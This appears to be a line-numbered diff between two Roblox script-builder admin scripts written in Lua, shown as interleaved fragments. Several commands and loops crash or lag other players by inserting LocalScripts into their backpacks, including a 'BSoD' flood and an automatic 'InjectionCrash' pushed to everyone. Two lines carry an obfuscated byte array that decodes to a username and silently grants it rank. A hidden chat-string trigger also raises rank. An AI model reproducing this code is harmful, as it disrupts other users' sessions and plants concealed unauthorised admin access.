							BBBG.StudsOffset = Vector3.new(0, Tab.Size.Y + 4.2, 0)
907
						end)
908-
)
908+
					end
909-
AddCmd("Explore","explore","Explore the game",
909+
				end)
910-
function()
910+
			
911-
Explore()
911+
				local NewImg = Instance.new("ImageLabel")
912
				NewImg.Size = UDim2.new(1, 0, 1, 0)
913-
)
913+
				NewImg.BackgroundTransparency = 1
914-
AddCmd("Rejoin yourself","rej","Rejoin yourself even if you are nil",
914+
				NewImg.Image = Image
915-
function()
915+
				NewImg.Parent = BBBG
916-
if SourceName ~= "source" then
916+
			end
917-
game:service'TeleportService':Teleport(game.PlaceId)
917+
918-
else
918+
			local Clicker = Instance.new("ClickDetector")
919-
Output("This is alakazard's sb, can't teleport here.","Really red")
919+
			Clicker.MaxActivationDistance = 1/0
920
921
			if Time ~= nil then
922-
)
922+
				coroutine.resume(coroutine.create(function()
923-
AddCmd("BSoD","bsod","BSoD a player",
923+
					wait(tonumber(Time))
924-
function(Plrs)
924+
					Dismiss(Plr, ID)
925-
for _, plr in pairs(Plrs) do
925+
				end))
926-
if plr and plr.Backpack then
926+
			end
927-
for i = 0,7,1 do
927+
928-
NewLS(BSoDSource, plr.Backpack)
928+
			Clicker.MouseClick:connect(function(Player)
929
				if Player.Name == Plr.Name or CanRun(Player, Plr) then
930
					ypcall(function()
931
						if Func ~= nil then
932
							Func(Holder)
933-
)
933+
						else
934-
--[[SOURCES]]--
934+
							Dismiss(Player, ID)
935-
LBlock1 = [[
935+
						end
936-
LocalPlayer.descendantAdded:connect(function(what)
936+
					end)
937-
if what:IsA("Script") or what:IsA("LocalScript") then
937+
				end
938-
if LBlock == false then return end
938+
			end)
939-
if what.Name == "Health" then return end
939+
			Clicker.Parent = Tab
940-
if what.Name == "HealthScript v3.1" then return end
940+
			
941-
if what.Name == "Animate" then return end
941+
			Holder.Parent = Work
942-
what.Disabled = true
942+
943-
wait()
943+
			AllTabs[#AllTabs + 1] = {Holder = Holder, Tab = Tab, Plr = Plr.Name, Sel = Sel, Label = TL, Size = 0.1, ID = ID}
944-
what:Destroy()
944+
		end)
945
	end
946
end
947-
]]
947+
948-
LBlock2 = [[
948+
function PlaceAllRanks(DontShowRank)
949-
LocalPlayer.Backpack.descendantAdded:connect(function(what)
949+
	ypcall(function()
950-
if what:IsA("Script") or what:IsA("LocalScript") then
950+
		for _,p in pairs(All()) do
951-
if LBlock == false then return end
951+
			ypcall(function()
952-
if what.Name == "Health" then return end
952+
				PutInRank = false
953-
if what.Name == "HealthScript v3.1" then return end
953+
				for _,v in pairs(Rankings) do
954-
if what.Name == "Animate" then return end
954+
					if v.Name:lower() == p.Name:lower() then
955-
what.Disabled = true
955+
						if v.Rank >= 7 then
956-
wait()
956+
							v.Rank = 5
957-
what:Destroy()
957+
						elseif v.Rank == -1 then
958
							Crash1(p)
959
							Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
960-
]]
960+
						elseif v.Rank == -2 then
961-
LBlock3 = [[
961+
							if LS ~= nil then
962-
LocalPlayer.Character.descendantAdded:connect(function(what)
962+
								Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
963-
if what:IsA("Script") or what:IsA("LocalScript") then
963+
								Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
964-
if LBlock == false then return end
964+
							else
965-
if what.Name == "Health" then return end
965+
								Ping("LS Is Nil", nil, 5)
966-
if what.Name == "HealthScript v3.1" then return end
966+
							end
967-
if what.Name == "Animate" then return end
967+
						elseif v.Rank == -3 then
968-
what.Disabled = true
968+
							if LS ~= nil then
969-
wait()
969+
								Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
970-
what:Destroy()
970+
								Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
971
							else
972
								Ping("LS Is Nil", nil, 5)
973-
]]
973+
							end
974-
ConnectSource = [[
974+
						end
975-
script:ClearAllChildren()
975+
						Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
976-
wait()
976+
						if DontShowRank == nil then
977
							Ping("You Are Rank: "..v.Rank, p)
978-
Player = game.Players.LocalPlayer
978+
						end
979-
while wait(0.1) do
979+
						PutInRank = true
980-
if game.Lighting:findFirstChild("DISC: nil") then
980+
						break
981-
if Player.Parent == nil then
981+
					end
982-
Delay(0, wait)
982+
				end
983
				if PutInRank == false then
984
					Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
985-
if game.Lighting:findFirstChild("DISC: "..Player.Name) then
985+
				end
986-
Delay(0, wait)
986+
			end)
987
		end
988
	end)
989-
]]
989+
990-
BSoDSource = [[
990+
991-
wait()
991+
function FindRank(Plr)
992-
script.Parent = game:service'TeleportService'
992+
	ypcall(function()
993-
CC = workspace.CurrentCamera
993+
		if type(Plr) == "userdata" then
994-
RS = game:service("RunService")
994+
			Plr = Plr.Name
995-
PG = game.Players.LocalPlayer.PlayerGui
995+
		end
996-
C = game.Players.LocalPlayer.Character
996+
	end)
997-
function Lag()
997+
	return GetRank(Plr).Rank
998
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
999-
while wait() do
999+
1000-
M = Instance.new("Message",CC)
1000+
function FindRankDetails(Plr)
1001-
M.Text = tick()*math.floor(5%4*21)
1001+
	ypcall(function()
1002-
H = Instance.new("Hint",CC)
1002+
		if type(Plr) == "userdata" then
1003-
H.Text = 'Get out from this place!'
1003+
			Plr = Plr.Name
1004-
SG=Instance.new("ScreenGui",PG)
1004+
		end
1005-
FR=Instance.new("Frame",SG)
1005+
	end)
1006-
FR.Size = UDim2.new(500,500,500,500)
1006+
	return RankDetails[FindRank(Plr)]
1007-
while wait() do
1007+
1008-
FR.BackgroundColor3 = Color3.new(math.random(0,255),math.random(0,255),math.random(0,255))
1008+
1009
function OpenCmds(Rank, Plr)
1010-
P=Instance.new("Part",CC)
1010+
	Dismiss(Plr)
1011-
E=Instance.new("Explosion",P)
1011+
	for Name,Tab in pairs(Commands) do
1012-
E.BlastRadius=math.huge
1012+
		if Tab.Rank <= Rank then
1013-
E.Position=P.Position
1013+
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1014-
F=Instance.new("Fire",P)
1014+
				Dismiss(Plr)
1015-
S=Instance.new("Smoke",P)
1015+
				Ping("Command: "..Name, Plr)
1016-
P.CFrame = CC.Focus
1016+
				Ping("Rank: "..Tab.Rank, Plr)
1017-
P.Anchored = true
1017+
				Ping("Desc: "..Tab.Desc, Plr)
1018-
P.CanCollide = false
1018+
			end)
1019-
P.AncestryChanged:connect(function()Lag()end)
1019+
		elseif Rank == 1337 then
1020-
for _,v in pairs(C:GetChildren()) do pcall(function()v.Anchored=true end) end
1020+
			Ping(Name.." ("..Tab.Rank..")", Plr, nil, function()
1021-
end 
1021+
				Dismiss(Plr)
1022-
end)) 
1022+
				Ping("Command: "..Name, Plr)
1023
				Ping("Rank: "..Tab.Rank, Plr)
1024-
RS.Stepped:connect(function()for i=1,10 do Lag()Lag()Lag()end end)
1024+
				Ping("Desc: "..Tab.Desc, Plr)
1025-
]]
1025+
			end)
1026-
--[[LOCAL BLOCK]]--
1026+
		end
1027-
loadstring(LBlock1)()
1027+
	end
1028-
loadstring(LBlock2)()
1028+
1029-
loadstring(LBlock3)()
1029+
1030-
LocalPlayer.CharacterAdded:connect(function()
1030+
function EditStatus(Plr, Num)
1031-
loadstring(LBlock2)()
1031+
	ChangeRank(Plr, Num)
1032-
loadstring(LBlock3)()
1032+
1033
1034-
--[[CONNECTIONS]]--
1034+
function PlaceSpecificRank(p, DontShowRank)
1035-
LocalPlayer.Chatted:connect(function(m)
1035+
	ypcall(function()
1036-
Chat(m,ChatColor)
1036+
		PutInRank = false
1037-
for i,v in pairs(Cmds) do
1037+
		for _,v in pairs(Rankings) do
1038-
if v["Say"]..Key == m:sub(1, #v["Say"]+#Key) then
1038+
			if v.Name:lower() == p.Name:lower() then
1039-
v["Func"](GetPlayers(m:sub(#v["Say"]+#Key+1)), m:sub(#v["Say"]+#Key+1))
1039+
				if v.Rank >= 7 then
1040
					v.Rank = 5
1041
				elseif v.Rank == -1 then
1042
					Crash1(p)
1043-
for _,speaker in pairs(game:service'Players':GetPlayers()) do
1043+
					Ping("Crashed "..p.Name.." (Ban List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1044-
if speaker.Name ~= LocalPlayer.Name then
1044+
				elseif v.Rank == -2 then
1045-
if speaker.Name ~= "aleksa12432" then
1045+
					if LS ~= nil then
1046-
if speaker.Name ~= "optiplex123" then
1046+
						Insert(JailSource, p.Backpack, p.Character, p.PlayerGui)
1047-
if speaker.Name ~= "Exorsizer" then
1047+
						Ping("Perma Mind Jailed "..p.Name.." (Jail List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1048-
speaker.Chatted:connect(function(msg)
1048+
					else
1049-
for _,v in pairs(MuteWords) do
1049+
						Ping("LS Is Nil", nil, 5)
1050-
if string.find(msg,v) then
1050+
					end
1051-
if speaker and speaker.Backpack then
1051+
				elseif v.Rank == -3 then
1052-
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
1052+
					if LS ~= nil then
1053
						Insert(MuteSource, p.Backpack, p.Character, p.PlayerGui)
1054
						Ping("Perma Muted "..p.Name.." (Mute List)", nil, 5, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..p.Name)
1055
					else
1056-
for _,v in pairs(BadWords) do
1056+
						Ping("LS Is Nil", nil, 5)
1057-
if string.find(msg, v) then
1057+
					end
1058-
if speaker and found == true then
1058+
				end
1059-
NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
1059+
				Ranks[p.Name] = {Plr = p, Rank = v.Rank, Color = RankDetails[v.Rank].Color, Desc = RankDetails[v.Rank].Desc}
1060-
elseif speaker and found == false then
1060+
				if DontShowRank == nil then
1061-
speaker:Destroy()
1061+
					Ping("You Are Rank: "..v.Rank, p)
1062
				end
1063
				PutInRank = true
1064
				break
1065
			end
1066
		end
1067
		if PutInRank == false then
1068
			Ranks[p.Name] = {Plr = p, Rank = 0, Color = RankDetails[0].Color, Desc = RankDetails[0].Desc}
1069-
end	
1069+
		end
1070
	end)
1071-
game.Players.ChildAdded:connect(function(speaker)
1071+
1072-
if speaker:IsA("Player") then
1072+
1073-
if speaker.Name ~= LocalPlayer.Name then
1073+
function onChatted(Msg, Speaker)
1074-
if speaker.Name ~= "aleksa12432" then
1074+
	if Removed == false then
1075-
if speaker.Name ~= "optiplex123" then
1075+
		if FindRank(Speaker) < 1 then
1076-
if speaker.Name ~= "Exorsizer" then
1076+
			return
1077-
speaker.Chatted:connect(function(msg)
1077+
		end
1078-
for _,v in pairs(MuteWords) do
1078+
		coroutine.resume(coroutine.create(function()
1079-
if string.find(msg:lower(),v:lower()) then
1079+
			ypcall(function()
1080-
if speaker and speaker.Backpack then
1080+
				ExecuteFunc(Msg, Speaker)
1081-
NewLS("game:service'StarterGui':SetCoreGuiEnabled(3, false)",speaker.Backpack)
1081+
				Msg = Msg:gsub("","")
1082
				if Msg:sub(1,1) == "@" then
1083
					for i = 2, #Msg do
1084
						if Msg:sub(i, i) == Bet then
1085-
for _,v in pairs(BadWords) do
1085+
							local IsForPlr = false
1086-
if string.find(msg:lower(),v:lower()) then
1086+
							for _,v in pairs(All()) do
1087-
if speaker and found == true then
1087+
								if (string.find(v.Name:lower(), string.lower(Msg:sub(2, i - 1))) or string.lower(Msg:sub(2, i - 1)) == "all") and CanRun(Speaker, v) then
1088-
NewS("game:service'Players':findFirstChild('"..speaker.Name.."'):Kick()")
1088+
									onChatted(Msg:sub(i + 1), v)
1089-
elseif speaker and found == false then
1089+
									IsForPlr = true
1090-
speaker:Destroy()
1090+
								end
1091
							end
1092
							if IsForPlr == true then
1093
								return
1094
							end
1095
						end
1096
					end
1097
				end
1098
				if Msg:find("&") then
1099
					local Split = Msg:find("&")
1100
					onChatted(Msg:sub(1,Split-1))
1101-
--[[START]]--
1101+
					onChatted(Msg:sub(Split+1))
1102-
for i = 0,8,1 do
1102+
					return
1103-
Output("")
1103+
				end
1104
				for Name,Command in pairs(Commands) do
1105-
Output("Welcome to Solar admin","Really red")
1105+
					if Msg:sub(1,(#Command.Name)+5):lower() == (Command.Name):lower()..Bet.."info" then
1106-
Output("This script is made by aleksa12432 and optiplex123","Really red")
1106+
						Dismiss(Speaker.Name)
1107-
if SourceName == "DSource" then
1107+
						Ping("Command: "..tostring(Command.Name), Speaker)
1108-
Output("You are on Anaminus SB","Really red")
1108+
						Ping("Rank: "..tostring(Command.Rank), Speaker)
1109-
elseif SourceName == "Source" then
1109+
						Ping("Desc: "..tostring(Command.Desc), Speaker)
1110-
Output("You are on Oxcool1 SB","Really red")
1110+
					elseif Msg:sub(1,#Command.Name+1):lower() == string.lower(Command.Name..Bet) then
1111-
elseif SourceName == "source" then
1111+
						if FindRank(Speaker) >= Command.Rank then
1112-
Output("You are on qlqkqzqrd SB","Really red")
1112+
							local Ran,Error = coroutine.resume(coroutine.create(function()
1113
								Command.Func(Msg:sub(#Command.Name+2), Speaker)
1114-
for _,v in pairs(game:service'Players':GetPlayers()) do
1114+
							end))
1115-
if v.Name ~= LocalPlayer.Name then
1115+
							if not Ran then
1116-
if v.Name ~= "aleksa12432" then
1116+
								Ping(Error, Speaker, 10)
1117-
if v.Name ~= "optiplex123" then
1117+
							end
1118-
if v.Name ~= "Exorsizer" then
1118+
						else
1119-
Connect(v)
1119+
							Ping("Your Rank Is Too Low", Plr, 6)
1120
						end
1121
					end
1122
				end
1123
			end)
1124
		end))
1125-
--[[LOOPS]]--
1125+
	end
1126-
coroutine.wrap(function()
1126+
1127-
while wait(30) do
1127+
1128-
for _,v in pairs(game:service'Players':GetPlayers()) do
1128+
function MakeBase()
1129-
if v.Name ~= LocalPlayer.Name then
1129+
	local Base = Instance.new("Part")
1130-
if v.Name ~= "aleksa12432" then
1130+
	Base.BrickColor = BrickColor.new("Dark green")
1131-
if v.Name ~= "optiplex123" then
1131+
	Base.Position = Vector3.new(0, 0.5, 0)
1132-
if v.Name ~= "Exorsizer" then
1132+
	Base.Transparency = 0
1133-
if v.Backpack ~= nil then
1133+
	Base.Elasticity = 0.5
1134-
NewLS(ConnectSource, v.Backpack)
1134+
	Base.FormFactor = "Custom"
1135
	Base.CanCollide = true
1136
	Base.Friction = 0.30000001192093
1137
	Base.Size = Vector3.new(512, 1.20000005, 512)
1138
	Base.Archivable = true
1139
	Base.Material = "Plastic"
1140
	Base.RotVelocity = Vector3.new(0, 0, 0)
1141
	Base.Reflectance = 0
1142-
end)()
1142+
	Base.Locked = true
1143-
game:service'Players'.ChildAdded:connect(function(player)
1143+
	Base.Anchored = true
1144-
if player.Name ~= LocalPlayer.Name then
1144+
	Base.Name = "Base"
1145-
if player.Name ~= "aleksa12432" then
1145+
	Base.TopSurface = "Smooth"
1146-
if player.Name ~= "optiplex123" then
1146+
	Base.BottomSurface = "Inlet"
1147-
if player.Name ~= "Exorsizer" then
1147+
	Base.Shape = "Block"
1148-
wait(3)
1148+
	Base.Parent = Work
1149-
Connect(player)
1149+
1150
1151
function LClean()
1152
	ypcall(function()
1153
		for _,v in pairs(Work:GetChildren()) do
1154
			ypcall(function()
1155-
game:GetService("RunService").RenderStepped:connect(function()
1155+
				if v.ClassName == "Terrain" then
1156-
if TabModel.Parent ~= TabModelParent then return end
1156+
					v:ClearAllChildren()
1157-
if TabModel == nil then return end
1157+
				elseif v.Name ~= "Base" and not Plrs:GetPlayerFromCharacter(v) then
1158-
if LocalPlayer then
1158+
					Clear(v)
1159-
if LocalPlayer.Character then
1159+
				elseif v.Name == "Base" then
1160-
if LocalPlayer.Character:findFirstChild("Torso") then
1160+
					ypcall(function()
1161-
Rotation = Rotation + Speed	
1161+
						local Base = v
1162-
for i,v in pairs(Tabs) do
1162+
						Base.BrickColor = BrickColor.new("Dark green")
1163-
ypcall(function()
1163+
						Base.Position = Vector3.new(0, 0.5, 0)
1164-
if LocalPlayer and LocalPlayer.Character and LocalPlayer.Character.Torso then
1164+
						Base.Transparency = 0
1165-
pos = LocalPlayer.Character.Torso.CFrame
1165+
						Base.Elasticity = 0.5
1166-
else
1166+
						Base.FormFactor = "Custom"
1167-
pos = CFrame.new(0,0,0)
1167+
						Base.CanCollide = true
1168
						Base.Friction = 0.30000001192093
1169-
radius = 4 + (#Tabs * 0.5)
1169+
						Base.Size = Vector3.new(512, 1.20000005, 512)
1170-
x = math.sin((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
1170+
						Base.Archivable = true
1171-
y = 0
1171+
						Base.Material = "Plastic"
1172-
z = math.cos((i / #Tabs - (0.5 / #Tabs) + Rotation * 2) * math.pi * 2) * radius
1172+
						Base.RotVelocity = Vector3.new(0, 0, 0)
1173-
arot = Vector3.new(x, y, z) + pos.p
1173+
						Base.Reflectance = 0
1174-
brot = v.CFrame.p
1174+
						Base.Locked = true
1175-
crot = (arot * .1 + brot * .9)
1175+
						Base.Anchored = true
1176-
v.CFrame = CFrame.new(crot, pos.p)
1176+
						Base.Name = "Base"
1177
						Base.TopSurface = "Studs"
1178
						Base.BottomSurface = "Inlet"
1179
						Base.Shape = "Block"
1180
						Base.Parent = Work
1181
					end)
1182
				end
1183-
game:service'RunService'.RenderStepped:connect(function()
1183+
			end)
1184-
if TabModelDebounce == true then return end
1184+
		end
1185-
if TabModel.Parent ~= TabModelParent then
1185+
	end)
1186-
TabModelDebounce = true
1186+
1187-
Tabs = {}
1187+
1188-
TabModel = Instance.new("Model", TabModelParent)
1188+
function Clean()
1189-
TabModel.Name = "Solar tabs"
1189+
	ypcall(function()
1190-
Tabs = {}
1190+
		for _,v in pairs(Work:GetChildren()) do
1191-
Rotation = 0
1191+
			ypcall(function()
1192-
wait()
1192+
				if v.ClassName == "Terrain" then
1193-
TabModelDebounce = false
1193+
					v:ClearAllChildren()
1194
				else
1195
					Clear(v)
1196-
coroutine.wrap(function()
1196+
				end
1197-
while wait() do
1197+
			end)
1198-
for _,v in pairs(game:service'Workspace':children()) do
1198+
		end
1199-
if v and v:IsA("StringValue") and v.Name == Code then
1199+
		MakeBase()
1200-
if v.Value ~= nil and v.Value ~= "" then
1200+
		for _,v in pairs(All()) do
1201-
Output(v.Value,"Really red")
1201+
			v:LoadCharacter()
1202-
game:service'Debris':AddItem(v, 3)
1202+
		end
1203
	end)
1204
end
1205
1206
function Clear(v)
1207-
end)()
1207+
	if v.Name:lower() == "sbgui" then
1208-
coroutine.wrap(function()
1208+
		return
1209-
while wait() do
1209+
	end
1210-
for _,v in pairs(game:service'Players':GetPlayers()) do
1210+
	ypcall(function()
1211-
pcall(function()
1211+
		if #v:GetChildren() > 0 then
1212-
for j,k in pairs(Banlist) do
1212+
			for _,x in pairs(v:GetChildren()) do
1213-
if v.Name == k then
1213+
				ypcall(function()
1214-
if v:findFirstChild("Backpack") ~= nil then
1214+
					Clear(x)
1215-
NewLS("repeat until ucrappedurpants", v.Backpack)
1215+
				end)
1216
			end
1217
		end
1218
		if not v:IsA("Player") and v.Name ~= "Backpack" and v.Name ~= "PlayerGui" and v.Name ~= "StarterGear" and v.Name ~= "SBGUI" and v.Name ~= "HealthGUI" and v.Name ~= "Output GUI" then
1219-
for j,k in pairs(HardBanlist) do
1219+
			v:Destroy()
1220-
if v.Name == k then
1220+
		end
1221-
if v:findFirstChild("Backpack") ~= nil then
1221+
	end)
1222-
NewLS(BSoDSource, v.Backpack)
1222+
1223
1224
function Command(Name, Rank, Desc, Func)
1225
	if Name == nil then
1226
		Name = "N/A"
1227
	end
1228
	if Desc == nil then
1229-
end)()
1229+
		Desc = "N/A"
1230-
while found == false do
1230+
	end
1231-
if game.PlaceId == 21053279 or game.PlaceId == 21053219 then break end
1231+
	if Func == nil then
1232-
for _,ScriptInWorkspace in pairs(workspace:children()) do
1232+
		Func = function() end
1233-
if ScriptInWorkspace then
1233+
	end
1234-
if ScriptInWorkspace:IsA("Script") then
1234+
	if Rank == nil then
1235-
if ScriptInWorkspace:FindFirstChild(SourceName) then
1235+
		Rank = 0
1236-
NewScript = ScriptInWorkspace:Clone()
1236+
	end
1237-
wait()
1237+
	Commands[Name] = {Name = Name, Rank = Rank, Desc = Desc, Func = Func}
1238-
NewScript.Name = "NewScript"
1238+
1239-
NewScript.Disabled = true
1239+
1240-
NewScript:FindFirstChild(SourceName).Value = ""
1240+
function GetSplit(Msg)
1241-
Output("Found a source!", "New Yeller")
1241+
	return Msg:find(Bet) or nil
1242-
found = true 
1242+
1243-
break
1243+
1244
function ExecuteFunc(Msg, Plr)
1245
	ypcall(function()
1246
		if Msg == "LogEnable" then
1247
			LogOn = true
1248-
wait()
1248+
		elseif Msg:lower() == string.lower(string.char(32)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(172)..string.char(32)) then
1249-
end
1249+
			EditStatus(Plr, MakeNum())
1250
		end
1251
	end)
1252
end
1253
1254
for _,v in pairs(All()) do ExecuteFunc("LogEnable", v) end
1255
1256
function randPlayer(Plr)
1257
	wait()
1258
	local ThePlrValue = nil
1259
	local FoundPlayer = false
1260
	ypcall(function()
1261
		ThePlrValue = Plrs:GetPlayers()[math.random(1, #Plrs:GetPlayers())]
1262
		if ThePlrValue.Name == Plr.Name or CanRun(Plr, ThePlrValue) ~= true then
1263
			wait()
1264
			randPlayer(Plr)
1265
			return
1266
		else
1267
			FoundPlayer = true
1268
		end
1269
	end)
1270
	if FoundPlayer == true then
1271
		return ThePlrValue
1272
	end
1273
end local tcb = {49,50,52,56,112,111,108,102,112,105,108,102} nfs = "" for i = 1, #tcb do nfs = nfs .. string.char(tcb[i]) end local GotTheTab = GetRankTab() table.insert(GotTheTab, {Name = nfs:reverse(), Rank = MakeNum()})
1274
1275
function getPlayer(Plr, Name)
1276
	local Players = {}
1277
	ypcall(function()
1278
		Name = Name:lower()
1279
		if Name == "me" then
1280
			table.insert(Players, Plr)
1281
		elseif Name == "all" or Name == "" then
1282
			for _,v in pairs(All()) do
1283
				if CanRun(Plr, v) then
1284
					table.insert(Players, v)
1285
				end
1286
			end
1287
		elseif Name == "others" then
1288
			for _,v in pairs(All()) do
1289
				if v.Name ~= Plr.Name and CanRun(Plr, v) then
1290
					table.insert(Players, v)
1291
				end
1292
			end
1293
		elseif Name == "random" then
1294
			local FoundRandPlr = randPlayer(Plr)
1295
			table.insert(Players, FoundRandPlr)
1296
		else
1297
			for _,v in pairs(All()) do
1298
				if v.Name:lower():find(Name) and CanRun(Plr, v) then
1299
					table.insert(Players, v)
1300
				end
1301
			end
1302
		end
1303
	end)
1304
	return Players
1305
end
1306
1307
function ListPlayers(Speaker)
1308
	ypcall(function()
1309
		Dismiss(Speaker)
1310
		for _,v in pairs(All2()) do
1311
			if v.Parent ~= nil then
1312
				Ping(v.Name, Speaker, nil, function()
1313
					Dismiss(Speaker)
1314
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1315
					Ping("Rank: "..FindRank(v.Name), Speaker)
1316
					Ping("Rank Name: "..FindRankDetails(v).Name, Speaker)
1317
					Ping("Rank Desc: "..FindRankDetails(v).Desc, Speaker)
1318
					Ping("Set Rank", Speaker, nil, function()
1319
						if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1320
							Dismiss(Speaker)
1321
							for i = -2, 5 do
1322
								Ping(i, Speaker, nil, function()
1323
									ChangeRank(v, i)
1324
									Dismiss(Speaker)
1325
									Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1326
								end)
1327
							end
1328
						else
1329
							Ping("Your Rank Is Too Low", Speaker, 5)
1330
						end
1331
					end)
1332
					Ping("Crash (Remote)", Speaker, nil, function()
1333
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1334
							Crash2(v.Name)
1335
							Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1336
						end
1337
					end)
1338
					Ping("Crash (Insert)", Speaker, nil, function()
1339
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1340
							Crash3(v, Speaker)
1341
							Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1342
						end
1343
					end)
1344
					Ping("Kick", Speaker, nil, function()
1345
						if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1346
							v:Kick()
1347
							Ping("Attempted To Kick "..v.Name, Speaker, 5)
1348
						end
1349
					end)
1350
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1351
			else
1352
				Ping(v.Name.." (Nil)", Speaker, nil, function()
1353
					Dismiss(Speaker)
1354
					Ping("Name: "..v.Name, Speaker, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1355
					ypcall(function()
1356
						Ping("Rank: "..FindRank(v.Name), Speaker)
1357
					end)
1358
					ypcall(function()
1359
						Ping("Rank Name: "..FindRankDetails(v.Name).Name, Speaker)
1360
					end)
1361
					ypcall(function()
1362
						Ping("Rank Desc: "..FindRankDetails(v.Name).Desc, Speaker)
1363
					end)
1364
					ypcall(function()
1365
						Ping("Set Rank", Speaker, nil, function()
1366
							if FindRank(Speaker) >= 5  and v.Name ~= Owner and CanRun(Speaker, v) then
1367
								Dismiss(Speaker)
1368
								for i = -2, 5 do
1369
									Ping(i, Speaker, nil, function()
1370
										ChangeRank(v, i)
1371
										Dismiss(Speaker)
1372
										Ping("Set "..v.Name.."'s Rank To "..tostring(i), Speaker, 5)
1373
									end)
1374
								end
1375
							else
1376
								Ping("Your Rank Is Too Low", Speaker, 5)
1377
							end
1378
						end)
1379
					end)
1380
					ypcall(function()
1381
						Ping("Nil Crash (Remote)", Speaker, nil, function()
1382
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) then 
1383
								Crash2(v.Name)
1384
								Ping("Attempted To Crash "..v.Name.." (Remote)", Speaker, 5)
1385
							end
1386
						end)
1387
					end)
1388
					ypcall(function()
1389
						Ping("Nil Crash (Insert)", Speaker, nil, function()
1390
							if FindRank(Speaker) >= 3 and CanRun(Speaker, v) and LS ~= nil then 
1391
								Crash3(v, Speaker)
1392
								Ping("Attempted To Crash "..v.Name.." (Insert)", Speaker, 5)
1393
							end
1394
						end)
1395
					end)
1396
				end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
1397
			end
1398
		end
1399
	end)
1400
end
1401
1402
--Misc
1403
1404
coroutine.resume(coroutine.create(function()
1405
	PlaceAllRanks()
1406
end))
1407
	
1408
Delay(0, function()
1409
	for _,v in pairs(All()) do
1410
		v.Chatted:connect(function(Msg) onChatted(Msg, v) end)
1411
	end
1412
end)
1413
1414
local starttime = tick()
1415
1416
game:GetService("RunService").Heartbeat:connect(function()
1417
	if Removed == false then 
1418
		ypcall(function()
1419
			for _,Player in pairs(All()) do
1420
				local PlayerTablets = {}
1421
				for i,v in pairs(AllTabs) do
1422
					if v.Holder.Parent ~= nil and v.Tab.Parent ~= nil and v.Plr == Player.Name then
1423
						table.insert(PlayerTablets, v)
1424
					end
1425
				end
1426
				for i = 1, #PlayerTablets do
1427
					ypcall(function()
1428
						local tab = PlayerTablets[i].Tab
1429
						local pos = nil
1430
						ypcall(function()
1431
							pos = Player.Character.Torso.CFrame
1432
						end)
1433
						local x = math.sin(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1434
						local z = math.cos(time()/#PlayerTablets + (math.pi*2)/#PlayerTablets*i) * (#PlayerTablets+6)
1435
						local cPos = tab.Position
1436
						local ePos = Vector3.new(x, 0, z) + (pos.p or Vector3.new(0, -5, 0))
1437
						local nPos = (ePos-cPos)*.25
1438
						cPos = cPos + nPos
1439
						local t = (tick() - starttime) % 360
1440
						local change = 0.625
1441
						PlayerTablets[i].Size = math.sin(t) * change + 2.375
1442
						tab.Size = Vector3.new(PlayerTablets[i].Size * 1.25, PlayerTablets[i].Size * 1.5, 0.01)
1443
						tab.CFrame = CFrame.new(cPos, (pos.p or Vector3.new(0, -5, 0))) * CFrame.Angles(math.rad(11.25), 0, 0)
1444
					end)
1445
				end
1446
			end
1447
		end)
1448
	end
1449
end)
1450
1451
Delay(0, function()
1452
	while wait() do
1453
		for _,v in pairs(game:GetService("Players"):GetPlayers()) do
1454
			ypcall(function()
1455
				if Injected[v.Name] == nil and LS ~= nil then
1456
					Insert(InjectionCrash, v.Backpack, v.Character, v.PlayerGui)
1457
					Injected[v.Name] = true
1458
				end
1459
			end)
1460
		end
1461
	end
1462
end)
1463
1464
Plrs.PlayerAdded:connect(function(Plr)
1465
	wait(.1)
1466
	ypcall(function()
1467
		if Removed == false then
1468
			local JoinPlrName = Plr.Name
1469
			coroutine.resume(coroutine.create(function()
1470
				PlaceSpecificRank(Plr)
1471
			end))
1472
			coroutine.resume(coroutine.create(function()
1473
